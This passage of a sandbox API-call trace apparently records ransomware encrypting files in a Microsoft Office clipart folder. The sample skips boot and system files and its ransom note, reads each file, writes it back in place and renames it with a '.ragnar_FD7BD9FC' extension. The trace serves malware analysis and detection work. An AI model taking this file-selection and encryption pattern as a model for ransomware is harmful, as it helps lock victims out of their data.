lpNumberOfBytesRead=0x1eaf34*=0x81ce, lpOverlapped=0x0) returned 1 [0086.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.121] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x81ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.121] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x81ce, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x81ce, lpOverlapped=0x0) returned 1 [0086.122] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x81ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.122] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.122] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.122] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.122] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.122] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.122] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.122] GetProcessHeap () returned 0x580000 [0086.122] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.122] CloseHandle (hObject=0xf4) returned 1 [0086.122] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" [0086.122] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.ragnar_FD7BD9FC" [0086.123] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.123] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0086.123] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.123] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0215709.WMF" | out: lpString1="J0215709.WMF") returned="J0215709.WMF" [0086.123] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned=".WMF" [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="autorun.inf") returned 1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="boot.ini") returned 1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="bootfont.bin") returned 1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="bootsect.bak") returned 1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="bootmgr") returned 1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="bootmgr.efi") returned 1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="bootmgfw.efi") returned 1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="desktop.ini") returned 1 [0086.123] lstrcmpiW (lpString1="J0215709.WMF", lpString2="iconcache.db") returned 1 [0086.124] lstrcmpiW (lpString1="J0215709.WMF", lpString2="ntldr") returned -1 [0086.124] lstrcmpiW (lpString1="J0215709.WMF", lpString2="ntuser.dat") returned -1 [0086.124] lstrcmpiW (lpString1="J0215709.WMF", lpString2="ntuser.dat.log") returned -1 [0086.124] lstrcmpiW (lpString1="J0215709.WMF", lpString2="ntuser.ini") returned -1 [0086.124] lstrcmpiW (lpString1="J0215709.WMF", lpString2="thumbs.db") returned -1 [0086.124] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.124] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.124] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.124] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.124] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.124] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.124] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf")) returned 0x20 [0086.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.124] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9290) returned 1 [0086.124] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2441, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.124] GetProcessHeap () returned 0x580000 [0086.124] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.124] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.126] VirtualAlloc (lpAddress=0x0, dwSize=0x244a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.126] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x244a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x244a, lpOverlapped=0x0) returned 1 [0086.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.127] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x244a, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.127] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x244a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x244a, lpOverlapped=0x0) returned 1 [0086.127] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x244a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.127] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x244a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.128] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.128] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.128] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.128] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.128] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.128] GetProcessHeap () returned 0x580000 [0086.128] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.128] CloseHandle (hObject=0xf4) returned 1 [0086.128] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" [0086.128] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.ragnar_FD7BD9FC" [0086.128] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.129] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0086.129] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.129] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0215710.WMF" | out: lpString1="J0215710.WMF") returned="J0215710.WMF" [0086.129] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned=".WMF" [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="autorun.inf") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="boot.ini") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="bootfont.bin") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="bootsect.bak") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="bootmgr") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="bootmgr.efi") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="bootmgfw.efi") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="desktop.ini") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="iconcache.db") returned 1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="ntldr") returned -1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="ntuser.dat") returned -1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="ntuser.dat.log") returned -1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="ntuser.ini") returned -1 [0086.129] lstrcmpiW (lpString1="J0215710.WMF", lpString2="thumbs.db") returned -1 [0086.129] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.129] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.129] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.129] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.129] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.129] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.129] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf")) returned 0x20 [0086.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.130] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17826) returned 1 [0086.130] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4599, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.130] GetProcessHeap () returned 0x580000 [0086.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.130] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.132] VirtualAlloc (lpAddress=0x0, dwSize=0x45a2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.132] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x45a2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x45a2, lpOverlapped=0x0) returned 1 [0086.133] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.133] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.133] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x45a2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x45a2, lpOverlapped=0x0) returned 1 [0086.133] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.133] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.134] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.134] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.134] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.134] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.134] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.134] GetProcessHeap () returned 0x580000 [0086.134] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.134] CloseHandle (hObject=0xf4) returned 1 [0086.134] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" [0086.134] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.ragnar_FD7BD9FC" [0086.134] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.135] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0086.135] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.135] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0215718.WMF" | out: lpString1="J0215718.WMF") returned="J0215718.WMF" [0086.135] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned=".WMF" [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="autorun.inf") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="boot.ini") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="bootfont.bin") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="bootsect.bak") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="bootmgr") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="bootmgr.efi") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="bootmgfw.efi") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="desktop.ini") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="iconcache.db") returned 1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="ntldr") returned -1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="ntuser.dat") returned -1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="ntuser.dat.log") returned -1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="ntuser.ini") returned -1 [0086.135] lstrcmpiW (lpString1="J0215718.WMF", lpString2="thumbs.db") returned -1 [0086.136] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.136] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.136] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.136] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.136] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.136] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.136] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf")) returned 0x20 [0086.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.136] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5618) returned 1 [0086.136] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.136] GetProcessHeap () returned 0x580000 [0086.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.136] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.138] VirtualAlloc (lpAddress=0x0, dwSize=0x15f2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.138] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15f2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15f2, lpOverlapped=0x0) returned 1 [0086.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.139] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.139] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15f2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15f2, lpOverlapped=0x0) returned 1 [0086.139] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.139] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.139] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15f2, lpNewFilePointer=0x0, 